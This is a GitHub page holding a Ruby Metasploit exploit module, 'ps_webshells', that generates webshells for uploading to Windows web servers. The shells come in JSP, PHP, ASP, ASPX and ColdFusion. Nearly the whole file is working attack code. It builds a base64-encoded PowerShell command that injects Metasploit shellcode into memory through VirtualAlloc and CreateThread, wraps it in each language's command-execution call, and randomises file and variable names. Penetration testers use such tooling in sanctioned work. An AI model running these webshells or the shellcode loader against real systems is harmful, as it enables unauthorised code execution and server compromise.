-
Notifications
You must be signed in to change notification settings - Fork 6
/
ps_webshells.rb
executable file
·282 lines (227 loc) · 7.64 KB
/
ps_webshells.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'ps_webshells',
'Description' => %q{This module will generate a webshell in the language defined by
the "WEB_LANG" option that passes a base64 encoded PowerShell
command to the Windows operating system that will execute
the defined MSF payload.
This can be a handy way to deliver Metasploit payloads when you
have the ability to upload arbitrary files to a web server. The
txt extension can also be defined in order to write the raw
PowerShell command to a file for manual execution.},
'Author' =>
[
'Scott Sutherland "nullbind" <scott.sutherland [at] netspi.com>',
'Ryan Gandrud "siegemaster" <ryan.gandrud [at] netspi.com>'
],
'Platform' => [ 'win' ],
'License' => MSF_LICENSE,
'References' => [['URL','http://www.exploit-monday.com/2011_10_16_archive.html']],
'Platform' => 'win',
'DisclosureDate' => 'Oct 10 2011',
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0
))
register_options(
[
OptString.new('WEB_LANG', [true, 'TXT,JSP,PHP,ASP,ASPX,CFM', 'JSP']),
OptString.new('TARGET_ARCH', [true, '64,32', '64']),
OptString.new('OUT_DIR', [true, 'output directory', 'c:\\windows\\temp\\']),
], self.class)
end
def exploit
# Validate architecture variable
if datastore['TARGET_ARCH'] != "64" and datastore['TARGET_ARCH'] != "32" then
print_error("Aborted! TARGET_ARCH \"#{datastore['TARGET_ARCH']}\" is invalid.\n")
return
end
# Randomly set number of chars in file name
the_name_len = 3 + rand(10)
# Randomly set file name
the_file_name = rand_text_alpha(the_name_len)
# Display start to users
print_status("Writing file for msf payload delivery to #{datastore['OUT_DIR']}#{the_file_name}.#{datastore['WEB_LANG']}...")
# Generate powershell command
ps_cmd = gen_ps_cmd
# Generate web shell in specified language
case datastore['WEB_LANG'].upcase
when 'JSP'
output = gen_JSP(ps_cmd)
ext = "jsp"
when 'PHP'
output = gen_PHP(ps_cmd)
ext = "php"
when 'ASP'
output = gen_ASP(ps_cmd)
ext = "asp"
when 'ASPX'
output = gen_ASPX(ps_cmd)
ext = "aspx"
when 'CFM'
output = gen_CFM(ps_cmd)
ext = "cfm"
when 'TXT'
output = ps_cmd
ext = "txt"
else
print_error("Aborted! Output file type is not supported.\n")
return
end
# Output file to specified location
File.open(datastore['OUT_DIR'] + "#{the_file_name}.#{ext}", 'wb') { |file| file.write(output)}
# Get file size
web_shell_size = File.size(datastore['OUT_DIR'] + "#{the_file_name}.#{ext}")
# Display end to users
print_good("#{web_shell_size} byte file written.\n")
print_status("Module execution complete.\n")
end
# ------------------------------
# Generate powershell payload
# ------------------------------
def gen_ps_cmd()
# Create powershell script that will inject shell code from the selected payload
myscript ="$code = @\"
[DllImport(\"kernel32.dll\")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport(\"kernel32.dll\")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport(\"msvcrt.dll\")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);
\"@
$winFunc = Add-Type -memberDefinition $code -Name \"Win32\" -namespace Win32Functions -passthru
[Byte[]]$sc =#{Rex::Text.to_hex(payload.encoded).gsub('\\',',0').sub(',','')}
$size = 0x1000
if ($sc.Length -gt 0x1000) {$size = $sc.Length}
$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)
for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)}
$winFunc::CreateThread(0,0,$x,0,0,0)"
# Unicode encode powershell script
mytext_uni = Rex::Text.to_unicode(myscript)
# Base64 encode unicoded script
mytext_64 = Rex::Text.encode_base64(mytext_uni)
# Setup path for powershell based on arch
if datastore['TARGET_ARCH'] == "32" then
mypath = ""
else
# Adjust slashes for txt vs web language output
if datastore['WEB_LANG'] == "txt" then
slashery = "\\"
else
slashery = "\\\\"
end
mypath="C:#{slashery}windows#{slashery}syswow64#{slashery}WindowsPowerShell#{slashery}v1.0#{slashery}"
end
# Create powershell command to be executed
ps_cmd = "#{mypath}powershell.exe -noexit -noprofile -encodedCommand #{mytext_64}"
return ps_cmd
end
# ------------------------------
# Generate jsp web shell
# ------------------------------
def gen_JSP(ps_cmd)
# Randomly set the var len
the_var_len = 3 + rand(10)
# Randomly set variable name
jsp_var_name = rand_text_alpha(the_var_len)
# Generate JSP script
script = "<%
Process #{jsp_var_name} = Runtime.getRuntime().exec(\"cmd.exe /c \" + \"#{ps_cmd}\");
%>"
end
# ------------------------------
# Generate php web shell
# ------------------------------
def gen_PHP(ps_cmd)
# Generate PHP script
script = "<?php
system(\'cmd.exe /c \' . \'#{ps_cmd}|echo 1>nul\');
?>"
end
# ------------------------------
# Generate asp web shell
# ------------------------------
def gen_ASP(ps_cmd)
# Randomly set the var len
the_var_len = 3 + rand(10)
# Randomly set variable name
asp_var_name = rand_text_alpha(the_var_len)
# Generate ASP script
script = "<%
set #{asp_var_name} = CreateObject(\"WScript.Shell\")
#{asp_var_name}.run \"cmd.exe /c #{ps_cmd}\"
%>"
end
# ------------------------------
# Generate aspx web shell
# ------------------------------
def gen_ASPX(ps_cmd)
# Randomly set variable name 1
the_var_len = 3 + rand(10)
aspx_var_name1 = rand_text_alpha(the_var_len)
# Randomly set variable name 2
the_var_len = 3 + rand(10)
aspx_var_name2 = rand_text_alpha(the_var_len)
# Randomly set variable name 3
the_var_len = 3 + rand(10)
aspx_var_name3 = rand_text_alpha(the_var_len)
# Generate ASPX script
script = "<%@ Page Language=\"VB\" Debug=\"true\" %>
<%@ import Namespace=\"system.IO\" %>
<%@ import Namespace=\"System.Diagnostics\" %>
<script runat=\"server\">
Sub #{aspx_var_name1}(Src As Object, E As EventArgs)
Dim #{aspx_var_name2} As New Process()
Dim #{aspx_var_name3} As New ProcessStartInfo(\"cmd.exe\")
#{aspx_var_name3}.Arguments=\"/c #{ps_cmd}\"
#{aspx_var_name2}.StartInfo = #{aspx_var_name3}
#{aspx_var_name2}.Start()
End Sub
</script>
<html onload=\"#{aspx_var_name1}\" runat=\"server\">
</html>"
end
# ------------------------------
# Generate cfm web shell
# ------------------------------
def gen_CFM(ps_cmd)
# Randomly set variable name 1
the_var_len = 3 + rand(10)
cfm_var_name1 = rand_text_alpha(the_var_len)
# Randomly set variable name 2
the_var_len = 3 + rand(10)
cfm_var_name2 = rand_text_alpha(the_var_len)
# Randomly set variable name 3
the_var_len = 3 + rand(10)
cfm_var_name3 = rand_text_alpha(the_var_len)
# Generate cfm script
script = "<html>
<body>
<cfoutput>
<table>
<form method=\"POST\" action=\"\">
<tr>
<td>Timeout:</td>
<td>< input type=text name=\"timeout\" size=4 <cfif isdefined(\"form.timeout\")> value=\"#form.timeout#\" <cfelse> value=\"5\" </cfif> > </td>
</tr>
</table>
<input type=submit value=\"Exec\" >
</FORM>
<cfsavecontent variable=\"#{cfm_var_name1}\">
<cfexecute name = \"C:\\Windows\\System32\\cmd.exe\" arguments = \"/c #{ps_cmd}\" timeout = \"#Form.timeout#\">
</cfexecute>
</cfsavecontent>
<pre>
##{cfm_var_name1}#
</pre>
</cfoutput>
</body>
</html>"
end
end